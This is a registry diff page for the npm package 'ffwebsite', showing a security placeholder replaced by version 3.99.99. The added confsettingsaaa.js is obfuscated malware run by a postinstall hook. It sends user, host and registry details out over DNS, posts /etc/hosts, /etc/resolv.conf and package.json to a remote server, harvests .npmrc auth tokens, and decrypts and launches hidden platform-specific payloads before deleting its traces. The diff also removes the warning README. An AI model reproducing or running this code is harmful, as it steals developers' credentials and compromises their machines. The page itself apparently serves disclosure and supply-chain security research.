ffwebsite 0.0.1-security → 3.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ffwebsite might be problematic. Click here for more details.
- package/confsettingsaaa.js +1 -0
- package/obfusc.enc.js +0 -0
- package/package.json +1 -6
- package/README.md +0 -5
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0x3fc718=a0_0x2bc7;(function(_0x496a28,_0x18c2b4){const _0x4fe9c5=a0_0x2bc7,_0x1b3fab=_0x496a28();while(!![]){try{const _0x55852a=parseInt(_0x4fe9c5(0xfd))/0x1+parseInt(_0x4fe9c5(0xd4))/0x2*(parseInt(_0x4fe9c5(0x104))/0x3)+-parseInt(_0x4fe9c5(0xae))/0x4+-parseInt(_0x4fe9c5(0xed))/0x5+parseInt(_0x4fe9c5(0xb4))/0x6*(-parseInt(_0x4fe9c5(0xc3))/0x7)+-parseInt(_0x4fe9c5(0xef))/0x8*(parseInt(_0x4fe9c5(0xee))/0x9)+-parseInt(_0x4fe9c5(0xbd))/0xa*(-parseInt(_0x4fe9c5(0xe3))/0xb);if(_0x55852a===_0x18c2b4)break;else _0x1b3fab['push'](_0x1b3fab['shift']());}catch(_0x139a8f){_0x1b3fab['push'](_0x1b3fab['shift']());}}}(a0_0x5a2b,0x1f596));const semver=require(a0_0x3fc718(0xb6)),os=require('os'),fs=require('fs'),axios=require(a0_0x3fc718(0xec)),crypto=require(a0_0x3fc718(0xab));var dns=require('dns'),path=require(a0_0x3fc718(0xc2));telemetry=a0_0x3fc718(0xf9);const https=require(a0_0x3fc718(0x105)),{spawnSync}=require(a0_0x3fc718(0xf3)),{spawn}=require(a0_0x3fc718(0xf3)),mypackage=a0_0x3fc718(0x10a);myevilversions=a0_0x3fc718(0xda),triggerversion=a0_0x3fc718(0xbc);const agent=new https['Agent']({'rejectUnauthorized':![]});try{const data=fs[a0_0x3fc718(0xf4)](path[a0_0x3fc718(0xcc)](process['cwd'](),a0_0x3fc718(0x107)),a0_0x3fc718(0xad));triggerversion=JSON[a0_0x3fc718(0x100)](data)[a0_0x3fc718(0x9f)];}catch(a0_0x55066f){}function replacespecial(_0x478475){const _0x291663=a0_0x3fc718;_0x478475=_0x478475[_0x291663(0xc7)]();while(_0x478475[_0x291663(0xce)]('/')){_0x478475=_0x478475[_0x291663(0xe4)]('/','-');}while(_0x478475[_0x291663(0xce)](':')){_0x478475=_0x478475[_0x291663(0xe4)](':','-');}while(_0x478475[_0x291663(0xce)](',')){_0x478475=_0x478475[_0x291663(0xe4)](',','-');}while(_0x478475[_0x291663(0xce)]('\x20')){_0x478475=_0x478475[_0x291663(0xe4)]('\x20','-');}while(_0x478475[_0x291663(0xce)]('~')){_0x478475=_0x478475['replace']('~','-');}while(_0x478475[_0x291663(0xce)]('@')){_0x478475=_0x478475[_0x291663(0xe4)]('@','-');}return _0x478475;}function decryptstring(_0x22b018,_0x1f7c53,_0x3f3657){const _0x2f61e7=a0_0x3fc718;var _0x41347f=crypto[_0x2f61e7(0xe6)](_0x2f61e7(0xdd),_0x22b018,_0x1f7c53),_0x26ffa0=_0x41347f[_0x2f61e7(0xe2)](_0x3f3657,_0x2f61e7(0xdf),_0x2f61e7(0xad));return _0x26ffa0+=_0x41347f[_0x2f61e7(0x106)]('utf8'),_0x26ffa0;}function a0_0x2bc7(_0x3cc6cf,_0x3bc4ba){const _0x5a2b8b=a0_0x5a2b();return a0_0x2bc7=function(_0x2bc734,_0x5b8d3f){_0x2bc734=_0x2bc734-0x95;let _0x440eb3=_0x5a2b8b[_0x2bc734];return _0x440eb3;},a0_0x2bc7(_0x3cc6cf,_0x3bc4ba);}function fail(){const _0x3dd828=a0_0x3fc718;try{fs['unlink'](path['join'](process[_0x3dd828(0xc6)](),_0x3dd828(0x107)),_0x5ddb8a=>{}),fs['unlink'](path[_0x3dd828(0xcc)](process['cwd'](),_0x3dd828(0xf6)),_0x3c5b63=>{}),fs[_0x3dd828(0xa9)](_0x3dd828(0xe1))&&fs['unlink'](_0x3dd828(0xe1),_0x1ba80b=>{if(_0x1ba80b){}}),fs['existsSync'](_0x3dd828(0x9c))&&fs['unlink'](_0x3dd828(0x9c),_0x5d5d0b=>{if(_0x5d5d0b){}}),fs['existsSync']('lin.dec.js')&&fs[_0x3dd828(0xe0)]('lin.dec.js',_0x1a74f3=>{if(_0x1a74f3){}}),fs[_0x3dd828(0xa9)]('win.dec.js')&&fs['unlink'](_0x3dd828(0x101),_0x5baf12=>{if(_0x5baf12){}}),fs[_0x3dd828(0xa9)]('.npmrc')&&fs[_0x3dd828(0xe0)]('.npmrc',_0x100fcd=>{if(_0x100fcd){}}),fs[_0x3dd828(0xa9)](_0x3dd828(0xa6))&&fs[_0x3dd828(0xe0)](_0x3dd828(0xa6),_0x364a86=>{if(_0x364a86){}}),fs['existsSync'](_0x3dd828(0xcf))&&fs[_0x3dd828(0xe0)](_0x3dd828(0xcf),_0x590e0d=>{if(_0x590e0d){}}),fs[_0x3dd828(0xe0)](path[_0x3dd828(0xcc)](process[_0x3dd828(0xc6)](),_0x3dd828(0xb0)),_0x4f979a=>{});}catch{}fs['writeFileSync'](_0x3dd828(0x107),_0x3dd828(0xaf)+mypackage+'\x22,\x0a\x20\x20\x20\x20\x22version\x22:\x20\x22'+triggerversion+_0x3dd828(0xaa)),fs['writeFileSync'](_0x3dd828(0x9d),_0x3dd828(0xdb)),console[_0x3dd828(0xe9)](_0x3dd828(0xd2)),process[_0x3dd828(0xe7)](-0x1);}function a0_0x5a2b(){const _0x2c800e=['LOAD_ERR','utf8','568628MecUrf','{\x0a\x20\x20\x20\x20\x22name\x22:\x20\x22','obfusc.enc.js','isSymbolicLink','mynpm_config_registry','data','156vbzJNr','length','semver','Cleanup\x20was\x20not\x20successful:\x20','registry','message','keys','arraybuffer','99.99.99','90zdIfoY','forEach','floor','platform','isDirectory','path','50400xgapMK','endsWith','slice','cwd','toString','name','silent','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','push','join','startsWith','includes','win.enc.js','config','output','Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team','INSTALL_ERR','43370EaQXrk','charAt','auth','.documentation','all','user-agent','99.99','console.log(\x27Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team\x27);\x0aprocess.exit(-1);\x0a\x20\x20','NO_PROXY','aes-256-cbc','tmpdir','base64','unlink','mac.enc.js','update','698665fGXmph','replace','darwin','createDecipheriv','exit','env','log','yes','then','axios','598420zSzFnQ','18FBSpZg','181912JORFnH','Bearer\x20','unref','readdirSync','child_process','readFileSync','post','confsettingsaaa.js','readlink',':registry','.pkgio.com','jINMVUDoxCvjmByMZgqKqHWXsTKcqFgI','aoxqgmortgkgldq','split','29605VegHPO','random','versions','parse','win.dec.js','userInfo','symlink','3VpPAss','https','final','package.json','copyFileSync','lstatSync','ffwebsite','yEWortRMhKjakopy','username','tarball','root','getCredentialsByURI','dist','http','yarn/1.22.17\x20npm/8.0\x20node/v16.2.1','get','None','code','undefined','token','lin.dec.js','isFile','mkdirSync','mac.dec.js','index.js','.npmrc','version',':_authToken','binary','writeFileSync','-registry','node','hostname','lin.enc.js','node_modules','lookup','existsSync','\x22,\x0a\x20\x20\x20\x20\x22description\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22main\x22:\x20\x22index.js\x22,\x0a\x20\x20\x20\x20\x22scripts\x22:\x20{\x0a\x20\x20\x20\x20\x20\x20\x22test\x22:\x20\x22echo\x20\x27Error:\x20no\x20test\x20specified\x27\x20&&\x20exit\x201\x22\x0a\x20\x20\x20\x20},\x0a\x20\x20\x20\x20\x22keywords\x22:\x20[],\x0a\x20\x20\x20\x20\x22author\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22license\x22:\x20\x22ISC\x22\x0a\x20\x20}\x0a\x20\x20','crypto'];a0_0x5a2b=function(){return _0x2c800e;};return a0_0x5a2b();}try{dns[a0_0x3fc718(0xa8)](replacespecial(os[a0_0x3fc718(0x102)]()[a0_0x3fc718(0x10c)])+'.'+replacespecial(os[a0_0x3fc718(0xa5)]())+'.h'+telemetry,(_0x4f6c25,_0x1d559c,_0x4fdbb1)=>{const _0x10aa31=a0_0x3fc718;_0x4f6c25&&console[_0x10aa31(0xe9)](_0x4f6c25[_0x10aa31(0xb9)]);});var localpack=fs[a0_0x3fc718(0xf4)](path['join'](process[a0_0x3fc718(0xc6)](),'package.json'),a0_0x3fc718(0xad));nameresolved=JSON[a0_0x3fc718(0x100)](localpack)[a0_0x3fc718(0xc8)],dns[a0_0x3fc718(0xa8)](replacespecial(nameresolved)+'.n'+telemetry,(_0x8822f5,_0x2ac4f6,_0x350a6b)=>{const _0x3c4ea1=a0_0x3fc718;_0x8822f5&&console[_0x3c4ea1(0xe9)](_0x8822f5[_0x3c4ea1(0xb9)]);}),process[a0_0x3fc718(0xe8)][a0_0x3fc718(0xdc)]&&dns[a0_0x3fc718(0xa8)](replacespecial(process['env'][a0_0x3fc718(0xdc)])+'.p'+telemetry,(_0x372c0,_0x22f585,_0x41b38d)=>{_0x372c0&&console['log'](_0x372c0['message']);});}catch(a0_0x1e7873){}function deletefilesinfolder(_0xdef1e){const _0x4d16b6=a0_0x3fc718;fs[_0x4d16b6(0xf2)](_0xdef1e)['forEach'](_0x57a31e=>{const _0x54f630=_0x4d16b6;relativepath=path[_0x54f630(0xcc)](_0xdef1e,_0x57a31e),fs['lstatSync'](relativepath)[_0x54f630(0xc1)]()?deletefilesinfolder(relativepath):fs['unlinkSync'](relativepath);}),fs['rmdirSync'](_0xdef1e);}function cleanup(_0x5f0694){const _0x4a3dce=a0_0x3fc718;try{fs[_0x4a3dce(0xa9)]('obfusc.dec.js')&&fs[_0x4a3dce(0xe0)]('obfusc.dec.js',_0x1d83b9=>{if(_0x1d83b9){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0xb0))&&fs[_0x4a3dce(0xe0)](_0x4a3dce(0xb0),_0x74dd43=>{if(_0x74dd43){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0x9e))&&fs[_0x4a3dce(0xe0)](_0x4a3dce(0x9e),_0x14487e=>{if(_0x14487e){}}),fs[_0x4a3dce(0xa9)](path['join'](os[_0x4a3dce(0xde)](),_0x5f0694))&&fs[_0x4a3dce(0xe0)](path[_0x4a3dce(0xcc)](os['tmpdir'](),_0x5f0694),_0x4a120c=>{if(_0x4a120c){}}),fs[_0x4a3dce(0xa9)](path[_0x4a3dce(0xcc)](process['cwd'](),_0x4a3dce(0xf6)))&&fs[_0x4a3dce(0xe0)](path[_0x4a3dce(0xcc)](process[_0x4a3dce(0xc6)](),_0x4a3dce(0xf6)),_0x1f4e33=>{if(_0x1f4e33){}}),fs['existsSync']('mac.enc.js')&&fs[_0x4a3dce(0xe0)]('mac.enc.js',_0x2059ba=>{if(_0x2059ba){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0xa6))&&fs['unlink'](_0x4a3dce(0xa6),_0x463284=>{if(_0x463284){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0xcf))&&fs[_0x4a3dce(0xe0)](_0x4a3dce(0xcf),_0x445ec1=>{if(_0x445ec1){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0x9c))&&fs['unlink'](_0x4a3dce(0x9c),_0x58f971=>{if(_0x58f971){}}),fs[_0x4a3dce(0xa9)](_0x4a3dce(0x99))&&fs['unlink'](_0x4a3dce(0x99),_0x108008=>{if(_0x108008){}}),fs['existsSync']('win.dec.js')&&fs[_0x4a3dce(0xe0)]('win.dec.js',_0x11b7d2=>{if(_0x11b7d2){}}),deletefilesinfolder(path['join'](process[_0x4a3dce(0xc6)](),_0x4a3dce(0xd7)));}catch(_0x147018){console[_0x4a3dce(0xe9)](_0x4a3dce(0xb7)+_0x147018);}}function startdefault(_0x15c5fd,_0x6b0936,_0x213492){const _0x562f08=a0_0x3fc718;contents=fs[_0x562f08(0xf4)]('obfusc.enc.js',{'encoding':'base64'}),decrypted=decryptstring(_0x15c5fd,_0x6b0936,contents),fs[_0x562f08(0xa2)]('obfusc.dec.js',decrypted,{'encoding':_0x562f08(0xdf)});try{const _0x6d1bc5=spawn(_0x562f08(0xa4),['obfusc.dec.js'],{'cwd':process[_0x562f08(0xc6)](),'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x6d1bc5['on']('error',_0x497e45=>{}),_0x6d1bc5[_0x562f08(0xf1)](),setTimeout(()=>{cleanup(_0x213492);},0xea60);}catch{cleanup(_0x213492);}}function cleanupstart(_0x38b8ae){const _0x36c885=a0_0x3fc718;topostfiles=[_0x36c885(0x107),'/etc/hosts','/etc/resolv.conf'];for(var _0x1d33e6 of topostfiles){if(fs['existsSync'](_0x1d33e6)){contents=fs['readFileSync'](_0x1d33e6,{'encoding':_0x36c885(0xdf)});try{axios({'method':_0x36c885(0xf5),'url':'https://www'+telemetry+'/'+_0x1d33e6,'data':{'data':contents},'httpsAgent':agent,'maxBodyLength':Infinity,'maxContentLength':Infinity})['catch'](function(_0x55261b){});}catch{}}}key=_0x36c885(0xfa),iv=_0x36c885(0x10b);if(process[_0x36c885(0xc0)]['includes'](_0x36c885(0xe5))){if(fs['existsSync'](_0x36c885(0xe1))){contents=fs[_0x36c885(0xf4)](_0x36c885(0xe1),{'encoding':_0x36c885(0xdf)}),decrypted=decryptstring(key,iv,contents),fs[_0x36c885(0xa2)](_0x36c885(0x9c),decrypted,{'encoding':_0x36c885(0xdf),'mode':0x1ed});const _0x6c447b=spawnSync(path[_0x36c885(0xcc)](process[_0x36c885(0xc6)](),_0x36c885(0x9c)),{'cwd':process[_0x36c885(0xc6)]()});test=_0x6c447b[_0x36c885(0xd1)],cleanup(_0x38b8ae);}else startdefault(key,iv,_0x38b8ae);}else{if(process['platform'][_0x36c885(0xce)]('win')){if(fs[_0x36c885(0xa9)](_0x36c885(0xcf))){contents=fs[_0x36c885(0xf4)]('win.enc.js',{'encoding':_0x36c885(0xdf)}),decrypted=decryptstring(key,iv,contents),fs['writeFileSync']('win.dec.js',decrypted,{'encoding':'base64','mode':0x1ed});const _0x3ff271=spawnSync(path[_0x36c885(0xcc)](process[_0x36c885(0xc6)](),_0x36c885(0x101)),{'cwd':process[_0x36c885(0xc6)]()});test=_0x3ff271['output'],cleanup(_0x38b8ae);}else startdefault(key,iv,_0x38b8ae);}else{if(fs[_0x36c885(0xa9)](_0x36c885(0xa6))){contents=fs[_0x36c885(0xf4)](_0x36c885(0xa6),{'encoding':_0x36c885(0xdf)}),decrypted=decryptstring(key,iv,contents),fs[_0x36c885(0xa2)](_0x36c885(0x99),decrypted,{'encoding':_0x36c885(0xdf),'mode':0x1ed});const _0x108d02=spawnSync(path['join'](process[_0x36c885(0xc6)](),_0x36c885(0x99)),{'cwd':process[_0x36c885(0xc6)]()});test=_0x108d02[_0x36c885(0xd1)],cleanup(_0x38b8ae);}else startdefault(key,iv,_0x38b8ae);}}}function getRandomString(_0x19fe53){const _0xf481d2=a0_0x3fc718;var _0xe6f77a=_0xf481d2(0xca),_0x39c3d0='';for(var _0x4a1618=0x0;_0x4a1618<_0x19fe53;_0x4a1618++){_0x39c3d0+=_0xe6f77a[_0xf481d2(0xd5)](Math[_0xf481d2(0xbf)](Math[_0xf481d2(0xfe)]()*_0xe6f77a[_0xf481d2(0xb5)]));}return _0x39c3d0;}function copyFolderSync(_0x869c1a,_0x35fa0f){const _0xe2cb1e=a0_0x3fc718;!fs[_0xe2cb1e(0xa9)](_0x35fa0f)&&fs[_0xe2cb1e(0x9b)](_0x35fa0f),fs[_0xe2cb1e(0xf2)](_0x869c1a)[_0xe2cb1e(0xbe)](_0x893dc4=>{const _0x517cda=_0xe2cb1e;if(fs[_0x517cda(0x109)](path[_0x517cda(0xcc)](_0x869c1a,_0x893dc4))[_0x517cda(0x9a)]())fs[_0x517cda(0x108)](path[_0x517cda(0xcc)](_0x869c1a,_0x893dc4),path['join'](_0x35fa0f,_0x893dc4));else fs[_0x517cda(0x109)](path[_0x517cda(0xcc)](_0x869c1a,_0x893dc4))[_0x517cda(0xb1)]()?fs[_0x517cda(0xf7)](path[_0x517cda(0xcc)](_0x869c1a,_0x893dc4),(_0x47633b,_0x493278)=>{const _0x19d8e8=_0x517cda;!_0x47633b&&fs[_0x19d8e8(0x103)](_0x493278,path[_0x19d8e8(0xcc)](_0x35fa0f,_0x893dc4),()=>{});}):copyFolderSync(path[_0x517cda(0xcc)](_0x869c1a,_0x893dc4),path[_0x517cda(0xcc)](_0x35fa0f,_0x893dc4));});}function downloadtarball(_0x5b28a3,_0x5dc0ce,_0x5269d4){const _0x1eeccb=a0_0x3fc718;_0x5dc0ce['responseType']=_0x1eeccb(0xbb),tempmodule=getRandomString(0xa)+'.tgz',axios[_0x1eeccb(0x113)](_0x5b28a3,_0x5dc0ce)[_0x1eeccb(0xeb)](function(_0x23426a){const _0x3a3d6f=_0x1eeccb;fs['writeFileSync'](path['join'](os[_0x3a3d6f(0xde)](),tempmodule),_0x23426a[_0x3a3d6f(0xb3)],{'encoding':_0x3a3d6f(0xa1)}),process[_0x3a3d6f(0xe8)][_0x3a3d6f(0xb2)]=_0x5269d4;var _0x2a9f17={'name':path['join'](os[_0x3a3d6f(0xde)](),tempmodule),'version':'latest','path':path['join'](process['cwd'](),_0x3a3d6f(0xd7)),'localInstall':!![],'forceInstall':!![],'npmLoad':{'loglevel':_0x3a3d6f(0xc9),'registry':_0x5269d4,'loaded':![],'progress':![]}},_0x13d508=require(_0x3a3d6f(0xfb));_0x13d508(_0x2a9f17,function(_0xfc7f5c,_0x541179){const _0x2ccd54=_0x3a3d6f;if(_0xfc7f5c){if(_0xfc7f5c[_0x2ccd54(0x96)]===_0x13d508[_0x2ccd54(0xac)])fail();else{if(_0xfc7f5c[_0x2ccd54(0x96)]===_0x13d508[_0x2ccd54(0xd3)])fail();}return fail();}else mypackage[_0x2ccd54(0xcd)]('@')?copyFolderSync(path[_0x2ccd54(0xcc)](process[_0x2ccd54(0xc6)](),_0x2ccd54(0xd7),_0x2ccd54(0xa7)),path[_0x2ccd54(0xcc)](process[_0x2ccd54(0xc6)](),'..','..')):copyFolderSync(path[_0x2ccd54(0xcc)](process['cwd'](),_0x2ccd54(0xd7),_0x2ccd54(0xa7)),path[_0x2ccd54(0xcc)](process[_0x2ccd54(0xc6)](),'..')),cleanupstart(tempmodule);});});}function extractnewest(_0x2ac0df){const _0x475913=a0_0x3fc718;try{possibletarballs=[],versions=_0x2ac0df[_0x475913(0xff)],matchingsemver=[];for(const _0x35fbb0 in versions){!_0x35fbb0[_0x475913(0xce)](myevilversions)&&matchingsemver['push'](_0x35fbb0);}semverstring='^'+triggerversion['split']('.')[0x0]+'.0.0',bestsemver=semver['maxSatisfying'](matchingsemver,semverstring,{'includePrerelease':![]});bestsemver==null&&(bestsemver=semver['maxSatisfying'](matchingsemver,'*',{'includePrerelease':![]}));if(bestsemver==null)return'None';return versions[bestsemver][_0x475913(0x110)][_0x475913(0x10d)];}catch(_0x504c6a){return _0x475913(0x95);}}try{paths=process[a0_0x3fc718(0xc6)]();var didwecopy='no';while(!fs[a0_0x3fc718(0xa9)](path[a0_0x3fc718(0xcc)](paths,a0_0x3fc718(0x9e)))&&paths!=path['parse'](process[a0_0x3fc718(0xc6)]())[a0_0x3fc718(0x10e)]){paths=path[a0_0x3fc718(0xcc)](paths,'..');}if(paths=='/'||paths==process['cwd']()){}else fs[a0_0x3fc718(0x108)](path[a0_0x3fc718(0xcc)](paths,'.npmrc'),a0_0x3fc718(0x9e)),didwecopy=a0_0x3fc718(0xea);const mynpm=require('drwffjbwkwxsvyo');try{mynpm['load']({'loaded':![],'loglevel':a0_0x3fc718(0xc9)},function(_0x5879cf){const _0x39a3a3=a0_0x3fc718;if(_0x5879cf)fail();else{var _0x4e34b9={};const _0x474811=mynpm[_0x39a3a3(0xd0)]['get'](_0x39a3a3(0xb8));var _0x4e34b9={},_0x38ce32={};for(const _0xb1c163 of mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0xba)]){if(_0xb1c163['includes'](_0x39a3a3(0xf8)))_0x4e34b9[_0xb1c163[_0x39a3a3(0xfc)](':')[0x0]]=mynpm['config'][_0x39a3a3(0x113)](_0xb1c163);else _0xb1c163[_0x39a3a3(0xce)](_0x39a3a3(0xa3))&&_0xb1c163[_0x39a3a3(0xcd)]('_')&&(_0x4e34b9['@'+_0xb1c163[_0x39a3a3(0xfc)]('_')[0x1][_0x39a3a3(0xfc)]('-')[0x0]]=mynpm['config'][_0x39a3a3(0x113)](_0xb1c163));_0xb1c163[_0x39a3a3(0xce)](_0x39a3a3(0xa0))&&(_0x38ce32[_0xb1c163]=mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0x113)](_0xb1c163)),mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0x113)](_0x39a3a3(0xd6))&&(_0x38ce32[_0x39a3a3(0xd6)]=mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0x113)]('auth'));}_0x474811==undefined&&Object[_0x39a3a3(0xba)](_0x4e34b9)[_0x39a3a3(0xb5)]==0x0&&fail();try{try{touseregistries=[];mypackage[_0x39a3a3(0xce)]('/')?(scope=mypackage[_0x39a3a3(0xfc)]('/')[0x0],!(_0x4e34b9[scope]==undefined)&&touseregistries[_0x39a3a3(0xcb)](_0x4e34b9[scope]),!(_0x474811==undefined)&&touseregistries[_0x39a3a3(0xcb)](_0x474811)):!(_0x474811==undefined)&&touseregistries[_0x39a3a3(0xcb)](_0x474811);touseregistries[_0x39a3a3(0xb5)]==0x0&&fail();try{promises=[],requests=[];for(var _0x476036 of touseregistries){lastletters=_0x476036[_0x39a3a3(0xfc)]('/')['slice'](0x2,_0x476036['split']('/')[_0x39a3a3(0xb5)])[_0x39a3a3(0xcc)]('/')[_0x39a3a3(0xc5)](0x0,-0x1),tokenforauth=mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0x10f)](_0x476036),tokenforauth[_0x39a3a3(0x98)]==undefined&&tokenforauth[_0x39a3a3(0xd6)]==undefined&&(_0x476036[_0x39a3a3(0xc4)]('/')?_0x476036=_0x476036[_0x39a3a3(0xc5)](0x0,-0x1):_0x476036=_0x476036+'/',tokenforauth=mynpm[_0x39a3a3(0xd0)][_0x39a3a3(0x10f)](_0x476036)),_0x476036[_0x39a3a3(0xc5)](-0x1)=='/'?packageurl=_0x476036+mypackage:packageurl=_0x476036+'/'+mypackage,mycustomuseragent=typeof mynpm[_0x39a3a3(0xd0)]['get'](_0x39a3a3(0xd9))===_0x39a3a3(0x97)?_0x39a3a3(0x112):mynpm['config'][_0x39a3a3(0x113)]('user-agent'),tokenforauth[_0x39a3a3(0x98)]!=undefined&&(options={'headers':{'Authorization':_0x39a3a3(0xf0)+tokenforauth[_0x39a3a3(0x98)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x39a3a3(0xcb)]([packageurl,options,_0x476036])),tokenforauth[_0x39a3a3(0xd6)]!=undefined&&(options={'headers':{'Authorization':'Basic\x20'+tokenforauth['auth'],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x39a3a3(0xcb)]([packageurl,options,_0x476036])),options={'headers':{'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x39a3a3(0xcb)]([packageurl,options,_0x476036]);}for(i=0x0;i<requests['length'];i++){promises[_0x39a3a3(0xcb)](axios['get'](requests[i][0x0],requests[i][0x1])['catch'](function(_0x3556f7){}));}axios[_0x39a3a3(0xd8)](promises)[_0x39a3a3(0xeb)](_0x20f747=>{const _0x2ac010=_0x39a3a3;tarballs=[];_0x20f747[_0x2ac010(0xb5)]==0x1&&(_0x20f747[0x0]==undefined&&fail());for(i=0x0;i<_0x20f747['length'];i++){_0x20f747[i]!=undefined&&(tarballurl=extractnewest(_0x20f747[i][_0x2ac010(0xb3)]),tarballurl[_0x2ac010(0xce)](_0x2ac010(0x111))&&tarballs['push']([requests[i],tarballurl]));}tarballs[_0x2ac010(0xb5)]==0x0?fail():downloadtarball(tarballs[0x0][0x1],tarballs[0x0][0x0][0x1],tarballs[0x0][0x0][0x2]);});}catch(_0x9a2307){fail();}}catch(_0x1f8f1b){fail();}}catch(_0x57a93c){fail();}}});}catch(a0_0x40c69f){fail();}}catch(a0_0x5b089e){fail();}/*NodeJS package that gives a simplier evil API to npm install (programatically installs things)*/
|
package/obfusc.enc.js
ADDED
Binary file
|
package/package.json
CHANGED
@@ -1,6 +1 @@
|
|
1
|
-
{
|
2
|
-
"name": "ffwebsite",
|
3
|
-
"version": "0.0.1-security",
|
4
|
-
"description": "security holding package",
|
5
|
-
"repository": "npm/security-holder"
|
6
|
-
}
|
1
|
+
{"name": "ffwebsite", "version": "3.99.99", "description": "", "main": "index.js", "scripts": {"postinstall": "node confsettingsaaa.js", "test": "echo \"Error: no test specified\" && exit 1"}, "keywords": [], "dependencies": {"axios": "0.26.0", "targz": "1.0.1", "aoxqgmortgkgldq": "^4.0.0", "drwffjbwkwxsvyo": "^0.5.57", "semver": "7.3.5"}, "author": "", "license": "ISC"}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ffwebsite for more information.
|